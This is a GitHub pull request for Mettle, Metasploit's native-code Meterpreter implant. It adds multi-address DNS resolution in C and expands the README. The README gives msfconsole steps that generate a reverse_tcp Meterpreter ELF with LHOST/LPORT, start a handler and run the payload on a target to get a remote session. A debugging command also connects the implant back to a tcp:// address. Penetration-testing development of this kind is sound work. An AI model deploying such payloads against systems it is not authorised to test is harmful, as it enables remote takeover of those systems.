Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Adds support for resolving multiple host IPs #254

Open
wants to merge 3 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
199 changes: 160 additions & 39 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,44 +1,37 @@
Mettle
======
# Mettle

This is an implementation of a native-code Meterpreter, designed for
portability, embeddability, and low resource utilization. It can run on the
smallest embedded Linux targets to big iron, and targets Android, iOS, macOS,
Linux, and Windows, but can be ported to almost any POSIX-compliant
environment.
This is an implementation of a native-code Meterpreter, designed for portability, embeddability, and low resource
utilization. It can run on the smallest embedded Linux targets to big iron, and targets Android, iOS, macOS, Linux, and
Windows, but can be ported to almost any POSIX-compliant environment.

Building on Linux
------------
## Building on Linux

Debain, Ubuntu, and derivatives are most supported for builds. To build, you need at least 5GB of free disk space, and the following packages available:
Debain, Ubuntu, and derivatives are most supported for builds. To build, you need at least 5GB of free disk space, and
the following packages available:

```
# Dependencies
apt install curl build-essential git autoconf automake libtool bison flex gcc ruby rake bundler git mingw-w64
```

The Dockerfile under docker/Dockerfile contains a pre-configured build
environment as well.
The Dockerfile under docker/Dockerfile contains a pre-configured build environment as well.

Building on macOS
------------
## Building on macOS

On macOS you will need to install the xcode command line tools as follows:

```
xcode-select --install
```

Make Targets
------------
## Make Targets

For general development, there are a few make targets defined:

Running `make` will build for the local environment. E.g. if you're on macOS,
it will build for macOS using your native compiler and tools.
Running `make` will build for the local environment. E.g. if you're on macOS,it will build for macOS using your native
compiler and tools.

`make TARGET=triple` will build for a specific host triple. See below for some
common ones.
`make TARGET=triple` will build for a specific host triple. See below for some common ones.

`make clean` will clean the 'mettle' directory for the current build target

Expand All @@ -48,8 +41,7 @@ common ones.

`make clean-parallel` and `make distclean-parallel` do similar for all targets.

Packaging
=========
# Packaging

To build the gem for distribution (currently requires Linux or macOS):

Expand All @@ -69,8 +61,7 @@ To completely reset your dev environment and delete all binary artifacts:
rake mettle:ultraclean
```

Gem API
-------
## Gem API

To generate a payload with Mettle:
```ruby
Expand All @@ -91,15 +82,14 @@ The available platform triples for Linux targets are:
* `mips64-linux-muslsf`
* `s390x-linux-musl`

For Mingw32-64 Windows targets, the following triples are added. On up-to-date
Debian / Ubuntu systems, the `mingw-w64` package will install both toolchains.
For Mingw32-64 Windows targets, the following triples are added. On up-to-date Debian / Ubuntu systems, the `mingw-w64`
package will install both toolchains.

* `x86_64-w64-mingw32`
* `i686-w64-mingw32`

For macOS/iOS builds, the following triples are added. To target older macOS/OSX
versions, see https://github.com/phracker/MacOSX-SDKs to get the appropriate
SDK folder.
For macOS/iOS builds, the following triples are added. To target older macOS/OSX versions, see
https://github.com/phracker/MacOSX-SDKs to get the appropriate SDK folder.

* `arm-iphone-darwin`
* `aarch64-iphone-darwin`
Expand Down Expand Up @@ -129,24 +119,155 @@ The formats are:
* `:process_image` - a process image that must be started with a custom stack (see `doc/stack_requirements.md`)


Using with Metasploit
---------------------
## Using with Metasploit

To pull your local changes of mettle into your Metasploit install:

1. Add `-dev` to the version in `lib/metasploit_payloads/mettle/version.rb`
2. Build the gem as above
1. Add `-dev` to the version in `lib/metasploit_payloads/mettle/version.rb`:
```
# -*- coding:binary -*-
module MetasploitPayloads
VERSION = '1.0.28-dev'

def self.version
VERSION
end
end
```
2. Build the gem with:
```
rake build
```
3. Copy `pkg/metasploit-payloads-mettle-X.X.X.pre.dev.gem` to the box you are using for Metasploit if it is different
4. Change the version in your metasploit-framework.gemspec to match the one you just built
4. Change the version in your `metasploit-framework.gemspec` to match the one you just built:
```
spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.28-dev'
```
5. `gem install <path to new gem>` (for example: 'metasploit_payloads-mettle', '0.4.1.pre.dev')
6. Run `bundle install` in your Framework directory, and ensure you see something like `Using metasploit_payloads-mettle 0.4.1.pre.dev (was 0.4.1)` in the output
7. Congrats, you are now done!
```
gem install metasploit_payloads-mettle-1.0.28.pre.dev.gem
```
6. Run `bundle install` in your Framework directory, and ensure you see something like the following in the output:
```
Using metasploit_payloads-mettle 1.0.28.pre.dev (was 1.0.26)
```

Within `msfconsole`:
7. Use an appropriate payload:
```
use payload/linux/x64/meterpreter/reverse_tcp
```

8. Generate the payload:
```
generate -f elf -o mettle.elf
```

9. Change the file permissions:

```
chmod +x mettle.elf
```

10. Set up a handler
```
to_handler
```

11. Move the payload to the target machine and run it, you should now get back a session on `msfconsole`!


## Docker
The following is to get Mettle set up locally via Docker and generate a payload.
1. Mount the Docker container within the Mettle directory:
```
sudo docker run -it -v $(pwd):$(pwd) -w $(pwd) rapid7/build:mettle /bin/bash
```
2.
Once the Docker container is up and running, run the `make-all` command:
```
./make-all
```

3. Then run `rake-build`:
```
rake build
```

4. Copy the gem that was output via `rake-build`, this will be found in
`pkg/metasploit_payloads-mettle-1.0.28.pre.dev.gem`. Add this into your Metasploit-Framework directory.

5. Update `metasploit-framework.gemspec` and add `-dev` with the version of the gem above:
```
spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.28-dev'
```

6. Now within your Metasploit Framework directory, run the following commands:
```
gem install metasploit_payloads-mettle-1.0.28.pre.dev.gem

bundle install
```

7. Now you are able to generate the payload as normal - example of a linux target:
```
use linux/x64/meterpreter/reverse_tcp

set LHOST xxx.xxx.xxx.xxx
set LPORT 4444

generate -f elf -o mettle.elf

chmod +x ./mettle.elf

to_handler
```

### Docker with debugging
The following steps make use of `gdb` for debugging.
1. Run the Docker container:
```
sudo docker run -it -v $(pwd):$(pwd) -w $(pwd) rapid7/build:mettle /bin/bash
```

2. Within the container run the following commands:
```
sudo apt-get update
sudo apt-get install gdb
```

3. Compile(`D=1` enables debugging):
```
make clean

make D=1
```

4. Then run with `gdb`:
```
gdb --args /home/ubuntu/code/mettle/build/linux.x86_64/bin/mettle --debug 3 --uri "tcp://192.168.175.1:4444"
```

5. Once within `gdb` run the following commands:
```
b *main

run
```

6. To get breakpoint in `gbd` add the following into your code:
```
__asm("int3");
```

### TUI
[TUI](https://sourceware.org/gdb/current/onlinedocs/gdb.html/TUI.html) allows `gdb` to show the code above the terminal
for easier code traversal when debugging. _Note_ TUI will remove use of arrows for navigating console history.

## Pushing out a New Gem

Pushing out a New Gem
----------------------
Build CI will automatically publish new gems when commits land to master and pass build.
1. Test Locally
2. Land the changes to upstream master
3. Monitor for the new gem on rubygems.org
4. Once the gem appears, make a PR for bumping the version in framework

44 changes: 31 additions & 13 deletions mettle/src/stdapi/net/resolve.c
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,11 @@
#include "log.h"
#include "tlv.h"

// Required to translate Metasploit's definition of AF_* to the host's defined value
// https://github.com/rapid7/metasploit-framework/blob/56016cb3e7b19af439d5007e868f5870f03227fb/lib/rex/post/meterpreter/extensions/stdapi/constants.rb#L19C1-L20
#define WIN_AF_INET 2
#define WIN_AF_INET6 23

static
void resolve_host_async(struct eio_req *req)
{
Expand All @@ -21,13 +26,19 @@ void resolve_host_async(struct eio_req *req)
int ret_val = TLV_RESULT_SUCCESS;

uint32_t addr_type;
if (tlv_packet_get_u32(ctx->req, TLV_TYPE_ADDR_TYPE, &addr_type) ||
(addr_type != AF_INET && addr_type != AF_INET6)) {
tlv_packet_get_u32(ctx->req, TLV_TYPE_ADDR_TYPE, &addr_type);
if (addr_type == WIN_AF_INET) {
addr_type = AF_INET;
} else if (addr_type == WIN_AF_INET6) {
addr_type = AF_INET6;
} else {
log_info("Unsupported address family '%u' for hostname resolution", addr_type);
ret_val = TLV_RESULT_EINVAL;
goto done;
}

ret_val = TLV_RESULT_FAILURE;

struct addrinfo hints = {
.ai_family = addr_type,
};
Expand All @@ -42,21 +53,28 @@ void resolve_host_async(struct eio_req *req)

int result = getaddrinfo(hostname, NULL, &hints, &resolved_host);
if (result == 0) {
struct addr addr_host;
ret_val = TLV_RESULT_SUCCESS;
struct tlv_packet *resolve_host_entry = tlv_packet_new(TLV_TYPE_RESOLVE_HOST_ENTRY, 0);
struct addrinfo* i;
for(i=resolved_host; i!=NULL; i=i->ai_next)
{

if (addr_type == AF_INET) {
addr_pack(&addr_host, ADDR_TYPE_IP, IP_ADDR_BITS, \
&((struct sockaddr_in *)(resolved_host->ai_addr))->sin_addr, \
struct addr addr_host;
if (addr_type == AF_INET) {
addr_pack(&addr_host, ADDR_TYPE_IP, IP_ADDR_BITS, \
&((struct sockaddr_in *)(i->ai_addr))->sin_addr, \
IP_ADDR_LEN);
} else {
addr_pack(&addr_host, ADDR_TYPE_IP6, IP6_ADDR_BITS, \
&((struct sockaddr_in6 *)(resolved_host->ai_addr))->sin6_addr, \
} else {
addr_pack(&addr_host, ADDR_TYPE_IP6, IP6_ADDR_BITS, \
&((struct sockaddr_in6 *)(i->ai_addr))->sin6_addr, \
IP6_ADDR_LEN);
}
p = tlv_packet_add_addr(p, TLV_TYPE_IP, 0, 0, &addr_host);
p = tlv_packet_add_u32(p, TLV_TYPE_ADDR_TYPE, addr_type);
}

// XXX: C meterpreter has comment about this free possibliy causing segfaults on Linux
resolve_host_entry = tlv_packet_add_addr(resolve_host_entry, TLV_TYPE_IP, 0, 0, &addr_host);
resolve_host_entry = tlv_packet_add_u32(resolve_host_entry, TLV_TYPE_ADDR_TYPE, addr_type);
}
p = tlv_packet_add_child(p, resolve_host_entry);
// XXX: C meterpreter has comment about this free possibly causing segfaults on Linux
freeaddrinfo(resolved_host);
} else {
log_info("Unable to resolve host '%s': %d (%s)",
Expand Down
5 changes: 5 additions & 0 deletions mettle/src/tlv_types.h
Original file line number Diff line number Diff line change
Expand Up @@ -178,6 +178,11 @@

#define TLV_TYPE_SHUTDOWN_HOW (TLV_META_TYPE_UINT | 1530)

/*
* Resolves host/hosts
*/
#define TLV_TYPE_RESOLVE_HOST_ENTRY (TLV_META_TYPE_GROUP | 1550)

/*
* Registry
*/
Expand Down